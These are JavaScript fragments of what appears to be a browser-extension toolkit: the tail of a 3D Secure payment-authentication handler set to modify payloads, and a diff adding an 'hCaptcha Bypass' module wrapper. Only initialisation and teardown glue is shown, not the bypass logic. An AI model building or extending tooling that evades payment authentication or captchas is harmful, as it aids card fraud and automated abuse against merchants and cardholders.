console.warn('[3DS Handler]', ...args);
}
}
error(...args) {
console.error('[3DS Handler]', ...args);
}
}
/**
* ============================================================================
* 全局 API 暴露
* ============================================================================
*/
window.ThreeDSecureHandlerModule = ThreeDSecureHandlerModule;
if (typeof THREE_DS_AUTO_INIT !== 'undefined' && THREE_DS_AUTO_INIT) {
const instance = new ThreeDSecureHandlerModule({
enabled: true,
debug: true,
modifyPayload: true
});
instance.init();
window.__3dsHandler = instance;
}
// ============================================================================
// Extension Compatibility Wrapper
// ============================================================================
window.addEventListener('message', (event) => {
if (event.source !== window) return;
const message = event.data;
if (message && message.type === 'INIT_MODULE' && message.moduleName === 'threeDSecure') {
if (window.__threeDSecureInstance) return;
try {
const instance = new ThreeDSecureHandlerModule(message.config);
instance.init();
window.__threeDSecureInstance = instance;
console.log('[Extension] 3D Secure Handler initialized');
} catch (error) {
console.error('[Extension] 3D Secure init failed:', error);
}
}
if (message && message.type === 'DESTROY_MODULE' && message.instanceKey === '__threeDSecureInstance') {
const instance = window.__threeDSecureInstance;
if (instance && typeof instance.destroy === 'function') {
instance.destroy();
delete window.__threeDSecureInstance;
}
}
});

View File

@@ -0,0 +1,42 @@
/**
* Extension Compatibility Wrapper
* Add this to the end of each module file to make it work with the extension
*/
// Listen for initialization messages from content script
window.addEventListener('message', (event) => {
if (event.source !== window) return;
const message = event.data;
// Handle module initialization
if (message && message.type === 'INIT_MODULE' && message.moduleName === 'hcaptchaBypass') {
console.log('[HCaptcha Bypass] Initializing from extension...');
if (window[message.instanceKey]) {
console.log('[HCaptcha Bypass] Instance already exists');
return;
}
try {
const instance = new HCaptchaBypassModule(message.config);
instance.init();
window[message.instanceKey] = instance;
console.log('[HCaptcha Bypass] Initialized successfully');
} catch (error) {
console.error('[HCaptcha Bypass] Initialization failed:', error);
}
}
// Handle module destruction
if (message && message.type === 'DESTROY_MODULE' && message.instanceKey === '__hcaptchaBypassInstance') {
console.log('[HCaptcha Bypass] Destroying instance...');
const instance = window[message.instanceKey];
if (instance && typeof instance.destroy === 'function') {
instance.destroy();
delete window[message.instanceKey];
console.log('[HCaptcha Bypass] Destroyed successfully');
}
}
});